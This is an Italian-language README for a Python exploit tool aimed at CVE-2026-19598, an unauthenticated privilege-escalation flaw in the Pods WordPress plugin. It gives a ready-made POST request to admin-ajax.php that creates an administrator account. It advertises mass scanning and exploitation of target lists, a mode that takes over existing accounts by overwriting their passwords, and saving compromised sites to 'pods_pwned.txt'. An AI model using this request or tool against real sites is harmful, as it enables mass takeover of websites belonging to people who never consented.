CVE-2026-19598 — Escalatione dei Privilegi Non Autenticata nel Plugin Pods per WordPress

Escalatione Critica dei Privilegi Non Autenticata (CVSS 9.8) — Plugin Pods per WordPress ≤ 3.3.9

Questo strumento sfrutta CVE-2026-19598, una vulnerabilità nel plugin Pods per WordPress che consente ad attaccanti non autenticati di creare nuovi account amministratore o sovrascrivere le password degli utenti esistenti tramite l'endpoint admin-ajax.php.

⚠️ Panoramica della Vulnerabilità

Dettagli Tecnici

La vulnerabilità risiede nell'azione AJAX pods_admin. A causa di controlli dei permessi impropri, il metodo save_user può essere chiamato senza autenticazione quando è presente il parametro meta-box-loader. Ciò consente a un attaccante di:

1. Creare nuovi utenti admin con credenziali arbitrarie
2. Sovrascrivere le password degli utenti esistenti specificando un ID utente
3. Elevare i privilegi da non autenticato a pieno accesso amministrativo

Vettore di Attacco

POST /wp-admin/admin-ajax.php action=pods_admin method=save_user meta-box-loader=1 user_login=evil_admin user_pass=Hacked123! role=administrator

Il plugin non verifica che l'utente che effettua la richiesta disponga delle capacità adeguate e il parametro meta-box-loader bypassa i controlli di sicurezza previsti.

🚀 Funzionalità

• ✅ Sfruttamento su singolo bersaglio — crea un admin o sovrascrivi la password
• ✅ Scansione e sfruttamento di massa — carica i bersagli da file
• ✅ Multi-threading — elaborazione parallela veloce
• ✅ Verifica automatica del login — conferma l'accesso admin
• ✅ Modalità sovrascrittura — prendi il controllo di account utente esistenti
• ✅ Credenziali personalizzate — imposta il tuo nome utente/password
• ✅ Barra di avanzamento con spinner e statistiche in tempo reale
• ✅ Output colorato per una lettura facile
• ✅ Salvataggio dei risultati — pods_pwned.txt con tutti i bersagli sfruttati
• ✅ Nessuna dipendenza esterna — utilizza la libreria standard di Python + requests

📥 Installazione

# Clona il repository
git clone https://github.com/0xCyp1337/CVE-2026-19598.git
cd CVE-2026-19598
python3 CVE-2026-19598.py

# Installa le dipendenze (serve solo requests)
pip install requests